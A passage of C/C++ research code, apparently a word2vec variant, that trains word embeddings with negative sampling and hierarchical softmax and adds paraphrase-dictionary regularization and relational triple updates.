(real)(train_words + 1));\\n if (alpha < starting_alpha * 0.0001) alpha = starting_alpha * 0.0001;\\n }\\n if (sentence_length == 0) {\\n while (1) {\\n word = ReadWordIndex(fi);\\n if (feof(fi)) break;\\n if (word == -1) continue;\\n word_count++;\\n if (word == 0) break;\\n // The subsampling randomly discards frequent words while keeping the ranking same\\n if (sample > 0) {\\n real ran = (sqrt(vocab[word].cn / (sample * train_words)) + 1) * (sample * train_words) / vocab[word].cn;\\n next_random = next_random * (unsigned long long)25214903917 + 11;\\n if (ran < (next_random & 0xFFFF) / (real)65536) continue;\\n }\\n sen[sentence_length] = word;\\n sentence_length++;\\n if (sentence_length >= MAX_SENTENCE_LENGTH) break;\\n }\\n sentence_position = 0;\\n }\\n if (feof(fi)) break;\\n if (word_count > train_words / num_threads) break;\\n word = sen[sentence_position];\\n if (word == -1) continue;\\n for (c = 0; c < layer1_size; c++) neu1[c] = 0;\\n for (c = 0; c < layer1_size; c++) neu1e[c] = 0;\\n next_random = next_random * (unsigned long long)25214903917 + 11;\\n b = next_random % window;\\n if (cbow) { //train the cbow architecture\\n // in -> hidden\\n for (a = b; a < window * 2 + 1 - b; a++) if (a != window) {\\n c = sentence_position - window + a;\\n if (c < 0) continue;\\n if (c >= sentence_length) continue;\\n last_word = sen[c];\\n if (last_word == -1) continue;\\n for (c = 0; c < layer1_size; c++) neu1[c] += syn0[c + last_word * layer1_size];\\n }\\n // NEGATIVE SAMPLING\\n if (negative > 0) for (d = 0; d < negative + 1; d++) {\\n if (d == 0) {\\n target = word;\\n label = 1;\\n } else {\\n next_random = next_random * (unsigned long long)25214903917 + 11;\\n target = table[(next_random >> 16) % table_size];\\n if (target == 0) target = next_random % (vocab_size - 1) + 1;\\n if (target == word) continue;\\n label = 0;\\n }\\n l2 = target * layer1_size;\\n f = 0;\\n for (c = 0; c < layer1_size; c++) f += neu1[c] * syn1neg[c + l2];\\n if (f > MAX_EXP) g = (label - 1) * alpha;\\n else if (f < -MAX_EXP) g = (label - 0) * alpha;\\n else g = (label - expTable[(int)((f + MAX_EXP) * (EXP_TABLE_SIZE / MAX_EXP / 2))]) * alpha;\\n for (c = 0; c < layer1_size; c++) neu1e[c] += g * syn1neg[c + l2];\\n for (c = 0; c < layer1_size; c++) syn1neg[c + l2] += g * neu1[c];\\n }\\n // hidden -> in\\n for (a = b; a < window * 2 + 1 - b; a++) if (a != window) {\\n c = sentence_position - window + a;\\n if (c < 0) continue;\\n if (c >= sentence_length) continue;\\n last_word = sen[c];\\n if (last_word == -1) continue;\\n l1 = last_word * layer1_size;\\n\\n // baihan\\n // the word of context will be used for pp\\n //todo:\\n vector<string> pplist;\\n if (reg_in) {\\n // Regularizations\\n //vector<string>* pplist = pp->GetList(vocab[last_word].word);\\n pp->GetList(vocab[last_word].word, pplist);\\n //if (NULL == pplist) continue;\\n if (pplist.size() != 0){\\n unsigned long length = pplist.size();\\n for (c = 0; c < layer1_size; c++) neu1[c] = 0;\\n for(vector<string>::iterator iter = pplist.begin(); iter != pplist.end(); iter++){\\n int id = SearchVocab((char*)iter->c_str());\\n if (id != -1) {\\n long long l = id * layer1_size;\\n for (c = 0; c < sem_dim; c++) neu1[c] += syn0[c + l];\\n }\\n else\\n {\\n length--;\\n }\\n }\\n\\n if (length != 0) {\\n //update pp words\\n for(vector<string>::iterator iter = pplist.begin(); iter != pplist.end(); iter++){\\n int id = SearchVocab((char*)iter->c_str());\\n if (id != -1) {\\n long long l = id * layer1_size;\\n for (c = 0; c < sem_dim; c++) syn0[c + l] -= alpha * lambda / length * (syn0[c + l] - syn0[c + l1]);\\n }\\n }\\n\\n //update central word\\n for (c = 0; c < sem_dim; c++) syn0[c + l1] += alpha * lambda * (neu1[c] / length - syn0[c + l1]);\\n }\\n }\\n }\\n for (c = 0; c < layer1_size; c++) syn0[c + last_word * layer1_size] += neu1e[c];\\n //currently we assume that words in the window are unlikely to have overlaped pp-lists. Thus the embedding updated here will be unlikely to change the gradients for the regularization terms of other words.\\n }\\n vector<string> pplist;\\n if (reg_out) {\\n if(negative > 0){\\n pp->GetList(vocab[word].word, pplist);\\n if(0 != pplist.size()) {\\n l2 = word * layer1_size;\\n\\n unsigned long length = pplist.size();\\n for (c = 0; c < layer1_size; c++) neu1e[c] = 0;\\n for(vector<string>::iterator iter = pplist.begin(); iter != pplist.end(); iter++){\\n int id = SearchVocab((char*)iter->c_str());\\n if (id != -1) {\\n long long l = id * layer1_size;\\n for (c = 0; c < layer1_size; c++) neu1e[c] += syn1neg[c + l];\\n }\\n else\\n {\\n length--;\\n }\\n }\\n\\n if (length != 0) {\\n //update pp words\\n for(vector<string>::iterator iter = pplist.begin(); iter != pplist.end(); iter++){\\n int id = SearchVocab((char*)iter->c_str());\\n if (id != -1) {\\n long long l = id * layer1_size;\\n for (c = 0; c < layer1_size; c++) syn1neg[c + l] -= alpha * lambda / length * (syn1neg[c + l] - syn1neg[c + l2]);\\n }\\n }\\n\\n //update central word\\n for (c = 0; c < layer1_size; c++) syn1neg[c + l2] += alpha * lambda * (neu1e[c] / length - syn1neg[c + l2]);\\n }\\n }\\n }\\n }\\n }\\n else if(!cbow) { //train skip-gram\\n for (a = b; a < window * 2 + 1 - b; a++) if (a != window) {\\n c = sentence_position - window + a;\\n if (c < 0) continue;\\n if (c >= sentence_length) continue;\\n last_word = sen[c];\\n if (last_word == -1) continue;\\n l1 = last_word * layer1_size;\\n for (c = 0; c < layer1_size; c++) neu1e[c] = 0;\\n // HIERARCHICAL SOFTMAX\\n if (hs) for (d = 0; d < vocab[word].codelen; d++) {\\n f = 0;\\n l2 = vocab[word].point[d] * layer1_size;\\n // Propagate hidden -> output\\n for (c = 0; c < layer1_size; c++) f += syn0[c + l1] * syn1[c + l2];\\n if (f <= -MAX_EXP) continue;\\n else if (f >= MAX_EXP) continue;\\n else f = expTable[(int)((f + MAX_EXP) * (EXP_TABLE_SIZE / MAX_EXP / 2))];\\n // 'g' is the gradient multiplied by the learning rate\\n g = (1 - vocab[word].code[d] - f) * alpha;\\n // Propagate errors output -> hidden\\n for (c = 0; c < layer1_size; c++) neu1e[c] += g * syn1[c + l2];\\n // Learn weights hidden -> output\\n for (c = 0; c < layer1_size; c++) syn1[c + l2] += g * syn0[c + l1];\\n }\\n // NEGATIVE SAMPLING\\n if (negative > 0 && !weight_tying) for (d = 0; d < negative + 1; d++) {\\n if (d == 0) {\\n target = word;\\n label = 1;\\n } else {\\n next_random = next_random * (unsigned long long)25214903917 + 11;\\n target = table[(next_random >> 16) % table_size];\\n if (target == 0) target = next_random % (vocab_size - 1) + 1;\\n if (target == word) continue;\\n label = 0;\\n }\\n l2 = target * layer1_size;\\n f = 0;\\n for (c = 0; c < layer1_size; c++) f += syn0[c + l1] * syn1neg[c + l2];\\n if (f > MAX_EXP) g = (label - 1) * alpha;\\n else if (f < -MAX_EXP) g = (label - 0) * alpha;\\n else g = (label - expTable[(int)((f + MAX_EXP) * (EXP_TABLE_SIZE / MAX_EXP / 2))]) * alpha;\\n for (c = 0; c < layer1_size; c++) neu1e[c] += g * syn1neg[c + l2];\\n for (c = 0; c < layer1_size; c++) syn1neg[c + l2] += g * syn0[c + l1];\\n }\\n // WEIGHT-TYING NEGATIVE SAMPLING\\n if (weight_tying > 0) for (d = 0; d < negative + 1; d++) {\\n if (d == 0) {\\n target = word;\\n label = 1;\\n } else {\\n next_random = next_random * (unsigned long long)25214903917 + 11;\\n target = table[(next_random >> 16) % table_size];\\n if (target == 0) target = next_random % (vocab_size - 1) + 1;\\n if (target == word) continue;\\n label = 0;\\n }\\n l2 = target * layer1_size;\\n f = 0;\\n for (c = 0; c < layer1_size; c++) f += syn0[c + l1] * syn0[c + l2];\\n if (f > MAX_EXP) g = (label - 1) * alpha;\\n else if (f < -MAX_EXP) g = (label - 0) * alpha;\\n else g = (label - expTable[(int)((f + MAX_EXP) * (EXP_TABLE_SIZE / MAX_EXP / 2))]) * alpha;\\n for (c = 0; c < layer1_size; c++) neu1e[c] += g * syn0[c + l2];\\n for (c = 0; c < layer1_size; c++) syn0[c + l2] += g * syn0[c + l1];\\n }\\n // Learn weights input -> hidden\\n for (c = 0; c < layer1_size; c++) syn0[c + l1] += neu1e[c];\\n vector<string> pplist;\\n if (reg_in) {\\n // Regularizations\\n //vector<string>* pplist = pp->GetList(vocab[last_word].word);\\n pp->GetList(vocab[last_word].word, pplist);\\n //if (NULL == pplist) continue;\\n if (pplist.size() == 0) continue;\\n\\n unsigned long length = pplist.size();\\n for (c = 0; c < layer1_size; c++) neu1e[c] = 0;\\n for(vector<string>::iterator iter = pplist.begin(); iter != pplist.end(); iter++){\\n int id = SearchVocab((char*)iter->c_str());\\n if (id != -1) {\\n long long l = id * layer1_size;\\n for (c = 0; c < layer1_size; c++) neu1e[c] += syn0[c + l];\\n }\\n else\\n {\\n length--;\\n }\\n }\\n\\n if (length == 0) {\\n continue;\\n }\\n\\n //update pp words\\n for(vector<string>::iterator iter = pplist.begin(); iter != pplist.end(); iter++){\\n int id = SearchVocab((char*)iter->c_str());\\n if (id != -1) {\\n long long l = id * layer1_size;\\n for (c = 0; c < layer1_size; c++) syn0[c + l] -= alpha * lambda / length * (syn0[c + l] - syn0[c + l1]);\\n }\\n }\\n\\n //update central word\\n for (c = 0; c < layer1_size; c++) syn0[c + l1] += alpha * lambda * (neu1e[c] / length - syn0[c + l1]);\\n }\\n\\n if (reg_out) {\\n if(negative > 0 && !weight_tying){\\n // Regularizations\\n //vector<string>* pplist = pp->GetList(vocab[word].word);\\n pp->GetList(vocab[word].word, pplist);\\n //if (NULL == pplist) continue;\\n if(0 == pplist.size()) continue;\\n l2 = word * layer1_size;\\n\\n unsigned long length = pplist.size();\\n for (c = 0; c < layer1_size; c++) neu1e[c] = 0;\\n for(vector<string>::iterator iter = pplist.begin(); iter != pplist.end(); iter++){\\n int id = SearchVocab((char*)iter->c_str());\\n if (id != -1) {\\n long long l = id * layer1_size;\\n for (c = 0; c < layer1_size; c++) neu1e[c] += syn1neg[c + l];\\n }\\n else\\n {\\n length--;\\n }\\n }\\n\\n if (length == 0) {\\n continue;\\n }\\n\\n //update pp words\\n for(vector<string>::iterator iter = pplist.begin(); iter != pplist.end(); iter++){\\n int id = SearchVocab((char*)iter->c_str());\\n if (id != -1) {\\n long long l = id * layer1_size;\\n for (c = 0; c < layer1_size; c++) syn1neg[c + l] -= alpha * lambda / length * (syn1neg[c + l] - syn1neg[c + l2]);\\n }\\n }\\n\\n //update central word\\n for (c = 0; c < layer1_size; c++) syn1neg[c + l2] += alpha * lambda * (neu1e[c] / length - syn1neg[c + l2]);\\n }\\n if(weight_tying > 0){\\n // Regularizations\\n //vector<string>* pplist = pp->GetList(vocab[word].word);\\n pp->GetList(vocab[word].word, pplist);\\n //if (NULL == pplist) continue;\\n if(0 == pplist.size()) continue;\\n l2 = word * layer1_size;\\n\\n unsigned long length = pplist.size();\\n for (c = 0; c < layer1_size; c++) neu1e[c] = 0;\\n for(vector<string>::iterator iter = pplist.begin(); iter != pplist.end(); iter++){\\n int id = SearchVocab((char*)iter->c_str());\\n if (id != -1) {\\n long long l = id * layer1_size;\\n for (c = 0; c < layer1_size; c++) neu1e[c] += syn0[c + l];\\n }\\n else\\n {\\n length--;\\n }\\n }\\n\\n if (length == 0) {\\n continue;\\n }\\n\\n //update pp words\\n for(vector<string>::iterator iter = pplist.begin(); iter != pplist.end(); iter++){\\n int id = SearchVocab((char*)iter->c_str());\\n if (id != -1) {\\n long long l = id * layer1_size;\\n for (c = 0; c < layer1_size; c++) syn0[c + l] -= alpha * lambda / length * (syn0[c + l] - syn0[c + l2]);\\n }\\n }\\n\\n //update central word\\n for (c = 0; c < layer1_size; c++) syn0[c + l2] += alpha * lambda * (neu1e[c] / length - syn0[c + l2]);\\n }\\n if (hs) {\\n //vector<string>* pplist = pp->GetList(vocab[word].word);\\n //if (NULL == pplist) continue;\\n pp->GetList(vocab[word].word, pplist);\\n if (0 == pplist.size()) continue;\\n\\n unsigned long length = pplist.size();\\n l2 = vocab[word].point[vocab[word].codelen - 1] * layer1_size;\\n for (c = 0; c < layer1_size; c++) neu1e[c] = 0;\\n for(vector<string>::iterator iter = pplist.begin(); iter != pplist.end(); iter++){\\n int id = SearchVocab((char*)iter->c_str());\\n if (id != -1) {\\n long long l = vocab[id].point[vocab[id].codelen - 1] * layer1_size;\\n for (c = 0; c < layer1_size; c++) neu1e[c] += syn1[c + l];\\n }\\n else\\n {\\n length--;\\n }\\n }\\n\\n if (length == 0) {\\n continue;\\n }\\n\\n //update pp words\\n for(vector<string>::iterator iter = pplist.begin(); iter != pplist.end(); iter++){\\n int id = SearchVocab((char*)iter->c_str());\\n if (id != -1) {\\n long long l = vocab[id].point[vocab[id].codelen - 1] * layer1_size;\\n for (c = 0; c < layer1_size; c++) syn1[c + l] -= alpha * lambda / length * (syn1[c + l] - syn1[c + l2]);\\n }\\n }\\n\\n //update central word\\n for (c = 0; c < layer1_size; c++) syn1[c + l2] += alpha * lambda * (neu1e[c] / length - syn1[c + l2]);\\n }\\n }\\n }\\n }\\n sentence_position++;\\n if (sentence_position >= sentence_length) {\\n sentence_length = 0;\\n continue;\\n }\\n }\\n fclose(fi);\\n free(neu1);\\n free(neu1e);\\n pthread_exit(NULL);\\n}\\n\\nvoid *TrainModelRegNCEThread(void *id) {\\n long long a, b, d, word, last_word, sentence_length = 0, sentence_position = 0;\\n long long word_count = 0, last_word_count = 0, sen[MAX_SENTENCE_LENGTH + 1];\\n long long l1, l2, c, target, label;\\n unsigned long long next_random = (long long)id;\\n //long long word_actual_old = 0;\\n //long long part = train_words / 10;\\n real f, g;\\n clock_t now;\\n real *neu1 = (real *)calloc(layer1_size, sizeof(real));\\n real *neu1e = (real *)calloc(layer1_size, sizeof(real));\\n int pp_count = 0;\\n //int pp_last_count = 0;\\n long long update_pp_word_count = 0, update_relation_word_count = 0;\\n //int train_pp_total = epochs * pp->ppdict.size();\\n FILE *fi = fopen(train_file, \\\"rb\\\");\\n //FILE *fi = fopen(\\\"/Users/gflfof/Desktop/new work/phrase_embedding/trunk/trainword.txt\\\", \\\"rb\\\");\\n //train_pp_total = 0;\\n// while (1) {\\n// word = ReadWordIndex(fi);\\n// if (word != 0) train_pp_total++;\\n// if (feof(fi)) break;\\n// }\\n //train_pp_total--;\\n //train_pp_total *= epochs;\\n //train_pp_total *= 1;\\n //file_size = ftell(fi);\\n cout << \\\"reg_out:\\\" << reg_out << \\\", negative:\\\" << negative << endl;\\n for (int ep = 0; ep < 1; ep++) {\\n fseek(fi, file_size / (long long)num_threads * (long long)id, SEEK_SET);\\n\\n while (1) {\\n if (word_count - last_word_count > 500000) {\\n //word_actual_old = word_count_actual;\\n word_count_actual += word_count - last_word_count;\\n //if (word_count_actual / part == word_actual_old / part + 1) {\\n // evaluateMRRout(10000, ppeval);\\n //}\\n last_word_count = word_count;\\n if ((debug_mode > 1)) {\\n now=clock();\\n printf(\\\"%cAlpha: %f Progress: %.2f%% Words/thread/sec: %.2fk update pp count:%lld update relation count:%lld\\\", '\\\\n', alpha,\\n word_count_actual / (real)(train_words + 1) * 100,\\n word_count_actual / ((real)(now - start + 1) / (real)CLOCKS_PER_SEC * 1000),\\n update_pp_word_count, update_relation_word_count);\\n fflush(stdout);\\n }\\n alpha = starting_alpha * (1 - word_count_actual / (real)(train_words + 1));\\n if (alpha < starting_alpha * 0.0001) alpha = starting_alpha * 0.0001;\\n }\\n //if (pp_count - pp_last_count >= 5000){\\n //pp_count_actual += pp_count - pp_last_count;\\n //pp_last_count = pp_count;\\n //now=clock();\\n //printf(\\\"%cLambda: %f Progress: %.2f%% Words/thread/sec: %.2fk \\\", 13, lambda,\\n //pp_count_actual / (real)(train_pp_total + 1) * 100,\\n //pp_count_actual / ((real)(now - start + 1) / (real)CLOCKS_PER_SEC * 1000));\\n //lambda = starting_lambda * (1 - pp_count_actual / (real)(train_pp_total + 1));\\n //if (lambda < starting_lambda * 0.0001) lambda = starting_lambda * 0.0001;\\n //}\\n if (sentence_length == 0) {\\n while (1) {\\n word = ReadWordIndex(fi);\\n if (feof(fi)) break;\\n if (word == -1) continue;\\n word_count++;\\n if (word == 0) break;\\n // The subsampling randomly discards frequent words while keeping the ranking same\\n if (sample > 0) {\\n real ran = (sqrt(vocab[word].cn / (sample * train_words)) + 1) * (sample * train_words) / vocab[word].cn;\\n next_random = next_random * (unsigned long long)25214903917 + 11;\\n if (ran < (next_random & 0xFFFF) / (real)65536) continue;\\n }\\n sen[sentence_length] = word;\\n sentence_length++;\\n if (sentence_length >= MAX_SENTENCE_LENGTH) break;\\n }\\n sentence_position = 0;\\n }\\n if (feof(fi)) break;\\n if (sentence_length == 0) continue;\\n if (word_count > train_words / num_threads) break;\\n //if (pp_count > train_pp_total / num_threads) break;\\n word = sen[sentence_position];\\n if (word == -1) continue;\\n for (c = 0; c < layer1_size; c++) neu1[c] = 0;\\n for (c = 0; c < layer1_size; c++) neu1e[c] = 0;\\n //next_random = next_random * (unsigned long long)25214903917 + 11;\\n b = next_random % window;\\n if (cbow) { //train the cbow architecture\\n if(word2vec){\\n // in -> hidden\\n for (a = b; a < window * 2 + 1 - b; a++) if (a != window) {\\n c = sentence_position - window + a;\\n if (c < 0) continue;\\n if (c >= sentence_length) continue;\\n last_word = sen[c];\\n if (last_word == -1) continue;\\n for (c = 0; c < layer1_size; c++) neu1[c] += syn0[c + last_word * layer1_size];\\n }\\n // NEGATIVE SAMPLING\\n if (negative > 0) for (d = 0; d < negative + 1; d++) {\\n if (d == 0) {\\n target = word;\\n label = 1;\\n } else {\\n next_random = next_random * (unsigned long long)25214903917 + 11;\\n target = table[(next_random >> 16) % table_size];\\n if (target == 0) target = next_random % (vocab_size - 1) + 1;\\n if (target == word) continue;\\n label = 0;\\n }\\n l2 = target * layer1_size;\\n f = 0;\\n for (c = 0; c < layer1_size; c++) f += neu1[c] * syn1neg[c + l2];\\n if (f > MAX_EXP) g = (label - 1) * alpha;\\n else if (f < -MAX_EXP) g = (label - 0) * alpha;\\n else g = (label - expTable[(int)((f + MAX_EXP) * (EXP_TABLE_SIZE / MAX_EXP / 2))]) * alpha;\\n for (c = 0; c < layer1_size; c++) neu1e[c] += g * syn1neg[c + l2];\\n for (c = 0; c < layer1_size; c++) syn1neg[c + l2] += g * neu1[c];\\n }\\n // hidden -> in\\n for (a = b; a < window * 2 + 1 - b; a++) if (a != window) {\\n c = sentence_position - window + a;\\n if (c < 0) continue;\\n if (c >= sentence_length) continue;\\n last_word = sen[c];\\n if (last_word == -1) continue;\\n for (c = 0; c < layer1_size; c++) syn0[c + last_word * layer1_size] += neu1e[c];\\n }\\n }\\n //ppconfig\\n if (reg_out) {\\n if(negative > 0){\\n word2dict::iterator iter_pair = pp->ppdict.find(vocab[word].word);\\n //cout << pp_count << \\\" \\\" << vocab[word].word << \\\" \\\";\\n if (iter_pair != pp->ppdict.end()){\\n for(word2int::iterator iter = iter_pair->second.begin(); iter != iter_pair->second.end(); iter++){\\n last_word = SearchVocab((char*)iter->first.c_str());\\n if (last_word == -1) continue;\\n update_pp_word_count += 1;\\n l1 = last_word * layer1_size;\\n for (c = 0; c < layer1_size; c++) neu1[c] = 0;\\n // NEGATIVE SAMPLING // todo gradient\\n if (negative > 0 ) for (d = 0; d < negative + 1; d++) {\\n if (d == 0) {\\n target = word;\\n label = 1;\\n } else {\\n next_random = next_random * (unsigned long long)25214903917 + 11;\\n target = table[(next_random >> 16) % table_size];\\n if (target == 0) target = next_random % (vocab_size - 1) + 1;\\n if (target == word) continue;\\n label = 0;\\n }\\n //cout << target << \\\" \\\";\\n //cout << vocab[target].word << \\\" \\\";\\n l2 = target * layer1_size;\\n f = 0;\\n for (c = 0; c < layer1_size; c++) f += syn1neg[c + l1] * syn1neg[c + l2];\\n if (f > MAX_EXP) g = (label - 1) * lambda;\\n else if (f < -MAX_EXP) g = (label - 0) * lambda;\\n else g = (label - expTable[(int)((f + MAX_EXP) * (EXP_TABLE_SIZE / MAX_EXP / 2))]) * lambda;\\n // TODO\\n // baihan\\n // update syn0 (update word vector directly)\\n\\n // neu1 here is\\n // lambda * (sigmoid - label) * theta\\n for (c = 0; c < layer1_size; c++) neu1[c] += g * syn1neg[c + l2];\\n //for (c = 0; c < layer1_size; c++) neu1[c] += g * syn0[c + l2];\\n // semantic relation is symmetrical\\n // update theta itself\\n for (c = 0; c < layer1_size; c++) syn1neg[c + l2] += g * syn1neg[c + l1];\\n //printf(\\\"c+l2:%lld, c+l1:%lld,g*syn0:%f,syn0:%f\\\\r\\\", c + l2, c + l1, g * syn1neg[c+l1], syn1neg[c+l2]);\\n //for (c = 0; c < layer1_size; c++) {\\n //printf(\\\"c+l2:%lld, c+l1:%lld,g*syn0:%llf,syn0:%llf\\\\r\\\", c + l2, c + l1, g * syn0[c+l1], syn0[c+l2]);\\n //syn0[c + l2] += g * syn0[c + l1];\\n //}\\n }\\n // finally update accumulated sum\\n // refer to the paper\\n for (c = 0; c < layer1_size; c++) syn1neg[c + l1] += neu1[c];\\n //for (c = 0; c < layer1_size; c++) syn0[c + l1] += neu1[c];\\n }\\n }\\n //cout << endl;\\n pp_count++;\\n }\\n }\\n\\n //relationconfig\\n if (use_relational && negative > 0 and rdata != NULL) {\\n long long head_id, tail_id, relation_id;\\n unordered_map<string, vector<pair<string, string>>> &dataset = rdata->dataset;\\n auto iter = dataset.find(string(vocab[word].word));\\n if (iter != dataset.end()) {\\n for (auto pair_iter = iter->second.begin(); pair_iter != iter->second.end(); pair_iter++) {\\n head_id = SearchVocab(iter->first.c_str());\\n relation_id = SearchVocab(pair_iter->first.c_str());\\n tail_id = SearchVocab(pair_iter->second.c_str());\\n if (head_id == -1 || relation_id == -1 || tail_id == -1) continue;\\n update_relation_word_count++;\\n // sum of h + r\\n for (c = 0; c < layer1_size; c++) neu1[c] = 0;\\n for (c = 0; c < layer1_size; c++) {\\n // update word vector\\n neu1[c] += syn0[c + head_id * layer1_size] + syn0[c + relation_id * layer1_size];\\n //neu1[c] += syn1neg[c + head_id * layer1_size] + syn1neg[c + relation_id * layer1_size];\\n }\\n for (c = 0; c < layer1_size; c++) neu1e[c] = 0;\\n // NEGATIVE SAMPLING\\n // sample with tail\\n if (negative > 0) for (d = 0; d < negative + 1; d++) {\\n if (d == 0) {\\n target = tail_id;\\n label = 1;\\n } else {\\n next_random = next_random * (unsigned long long)25214903917 + 11;\\n target = table[(next_random >> 16) % table_size];\\n if (target == 0) target = next_random % (vocab_size - 1) + 1;\\n if (target == tail_id) continue;\\n label = 0;\\n }\\n l2 = target * layer1_size;\\n f = 0;\\n for (c = 0; c < layer1_size; c++) f += neu1[c] * syn0[c + l2];\\n //for (c = 0; c < layer1_size; c++) f += neu1[c] * syn1neg[c + l2];\\n if (f > MAX_EXP) g = (label - 1) * gamma_value;\\n else if (f < -MAX_EXP) g = (label - 0) * gamma_value;\\n else g = (label - expTable[(int)((f + MAX_EXP) * (EXP_TABLE_SIZE / MAX_EXP / 2))]) * gamma_value;\\n //accumulated for e{h + r}\\n for (c = 0; c < layer1_size; c++)\\n neu1e[c] += g * syn0[l2 + c];\\n //neu1e[c] += g * syn1neg[l2 + c];\\n //update e{t}\\n for (c = 0; c < layer1_size; c++) {\\n syn0[c + l2] += g * neu1[c];\\n //syn1neg[c + l2] += g * neu1[c];\\n }\\n }\\n // update e{h} and e{r}\\n for (c = 0; c < layer1_size; c++) {\\n syn0[c + head_id * layer1_size] += neu1e[c];\\n syn0[c + relation_id * layer1_size] += neu1e[c];\\n //syn1neg[c + head_id * layer1_size] += neu1e[c];\\n //syn1neg[c + relation_id * layer1_size] += neu1e[c];\\n }\\n }\\n }\\n }\\n }\\n sentence_position++;\\n if (sentence_position >= sentence_length) {\\n sentence_length = 0;\\n continue;\\n }\\n }\\n //if((ep + 1) % 10 == 0 && id == 0) if (ppeval != NULL)\\n //{\\n ////evaluateMRRout(10000, ppeval);\\n //}\\n }\\n\\n fclose(fi);\\n free(neu1);\\n free(neu1e);\\n // pthread_exit(NULL);\\n return 0;\\n}\\n\\nvoid *TrainPPDBVectorThread(void *id) {\\n long long d, word, last_word;\\n long long word_count = 0;\\n long long l1, l2, c, target, label;\\n unsigned long long next_random = (long long)id;\\n word2int::iterator it;\\n real f, g;\\n clock_t now;\\n real *neu1 = (real *)calloc(layer1_size, sizeof(real));\\n long long train_words_total = epochs * pp->ppdict.size();\\n pp_count_actual = epochs * pp->ppdict.size();\\n word_count = 0;\\n for (int ep = 0; ep < epochs; ep++) {\\n //cout << ep << endl;\\n for (word2dict::iterator iter_pair = pp->ppdict.begin(); iter_pair != pp->ppdict.end(); iter_pair++) {\\n //fprintf(fo, \\\"%s\\\\n\\\", iter_pair->first.c_str());\\n word = SearchVocab((char*)iter_pair->first.c_str());\\n if (word == -1) continue;\\n //cout << vocab[word].word << \\\" \\\";\\n\\n for(word2int::iterator iter = iter_pair->second.begin(); iter != iter_pair->second.end(); iter++){\\n last_word = SearchVocab((char*)iter->first.c_str());\\n if (last_word == -1) continue;\\n\\n l1 = last_word * layer1_size;\\n for (c = 0; c < layer1_size; c++) neu1[c] = 0;\\n // NEGATIVE SAMPLING // todo gradient\\n if (negative > 0 ) for (d = 0; d < negative + 1; d++) {\\n if (d == 0) {\\n target = word;\\n label = 1;\\n } else {\\n next_random = next_random * (unsigned long long)25214903917 + 11;\\n target = table[(next_random >> 16) % table_size];\\n if (target == 0) target = next_random % (vocab_size - 1) + 1;\\n if (target == word) continue;\\n label = 0;\\n }\\n //cout << target << \\\" \\\";\\n l2 = target * layer1_size;\\n f = 0;\\n for (c = 0; c < layer1_size; c++) f += syn1neg[c + l1] * syn1neg[c + l2];\\n if (f > MAX_EXP) g = (label - 1) * lambda;\\n else if (f < -MAX_EXP) g = (label - 0) * lambda;\\n else g = (label - expTable[(int)((f + MAX_EXP) * (EXP_TABLE_SIZE / MAX_EXP / 2))]) * lambda;\\n for (c = 0; c < layer1_size; c++) neu1[c] += g * syn1neg[c + l2];\\n for (c = 0; c < layer1_size; c++) syn1neg[c + l2] += g * syn1neg[c + l1];\\n }\\n for (c = 0; c < layer1_size; c++) syn1neg[c + l1] += neu1[c];\\n }\\n //cout << endl;\\n word_count++;\\n if (word_count % 5000 == 0) { //todo: shrink learning rate\\n now=clock();\\n printf(\\\"%cLambda: %f Progress: %.2f%% Words/thread/sec: %.2fk \\\", 13, lambda,\\n word_count / (real)(train_words_total + 1) * 100,\\n word_count / ((real)(now - start + 1) / (real)CLOCKS_PER_SEC * 1000));\\n fflush(stdout);\\n lambda = starting_lambda * (1 - word_count / (real)(train_words_total + 1));\\n if (lambda < starting_lambda * 0.0001) lambda = starting_lambda * 0.0001;\\n }\\n }\\n if((ep + 1) % 10 == 0) if (ppeval != NULL)\\n {\\n //evaluateMRRout(10000, ppeval);\\n }\\n //next_random = next_random * (unsigned long long)25214903917 + 11;\\n //b = next_random % window;\\n }\\n //fclose(fi);\\n //fclose(fo);\\n free(neu1);\\n pthread_exit(NULL);\\n}\\n\\nvoid *TrainPPDBVectorThreadNew(void *id) {\\n pthread_setcancelstate(PTHREAD_CANCEL_ENABLE, NULL);\\n pthread_setcanceltype(PTHREAD_CANCEL_ASYNCHRONOUS, NULL);\\n long long d, word, last_word;\\n long long word_count = 0, last_word_count = 0;\\n long long l1, l2, c, target, label;\\n unsigned long long next_random = (long long)id;\\n word2int::iterator it;\\n real f, g;\\n clock_t now;\\n real *neu1 = (real *)calloc(layer1_size, sizeof(real));\\n long long train_words_total = epochs * pp->ppdict.size();\\n long long begin = pp->ppdict.size() / (long long)num_thread_pmm * ((long long)id - num_threads);\\n long long end = pp->ppdict.size() / (long long)num_thread_pmm * ((long long)id + 1 - num_threads);\\n if ((long long)id == num_threads + num_thread_pmm - 1) end = (long long)pp->ppdict.size();\\n //pp_count_actual = epochs * pp->ppdict.size();\\n\\n long long* wordIds = (long long*)calloc(pp->ppdict.size(), sizeof(long long));\\n string* wordList = new string[pp->ppdict.size()];\\n int i = 0;\\n for (word2dict::iterator iter_pair = pp->ppdict.begin(); iter_pair != pp->ppdict.end(); iter_pair++) {\\n word = SearchVocab((char*)iter_pair->first.c_str());\\n wordList[i] = iter_pair->first;\\n wordIds[i++] = word;\\n }\\n for (int ep = 0; ep < epochs; ep++) {\\n //cout << ep << endl;\\n for (i = begin; i < end; i++) {\\n //for (word2dict::iterator iter_pair = pp->ppdict.begin(); iter_pair != pp->ppdict.end(); iter_pair++) {\\n word = wordIds[i];\\n //word = SearchVocab((char*)wordList[i].c_str());\\n if (word == -1) continue;\\n //cout << vocab[word].word << \\\" \\\";\\n\\n word2dict::iterator iter_pair = pp->ppdict.find(wordList[i]);\\n\\n for(word2int::iterator iter = iter_pair->second.begin(); iter != iter_pair->second.end(); iter++){\\n last_word = SearchVocab((char*)iter->first.c_str());\\n if (last_word == -1) continue;\\n pthread_setcancelstate(PTHREAD_CANCEL_ENABLE, NULL);\\n pthread_testcancel();/*the thread can be killed only here*/\\n pthread_setcancelstate(PTHREAD_CANCEL_DISABLE, NULL);\\n\\n l1 = last_word * layer1_size;\\n for (c = 0; c < layer1_size; c++) neu1[c] = 0;\\n // NEGATIVE SAMPLING // todo gradient\\n if (negative > 0 ) for (d = 0; d < negative + 1; d++) {\\n if (d == 0) {\\n target = word;\\n label = 1;\\n } else {\\n next_random = next_random * (unsigned long long)25214903917 + 11;\\n target = table[(next_random >> 16) % table_size];\\n if (target == 0) target = next_random % (vocab_size - 1) + 1;\\n if (target == word) continue;\\n label = 0;\\n }\\n //cout << target << \\\" \\\";\\n l2 = target * layer1_size;\\n f = 0;\\n for (c = 0; c < layer1_size; c++) f += syn1neg[c + l1] * syn1neg[c + l2];\\n 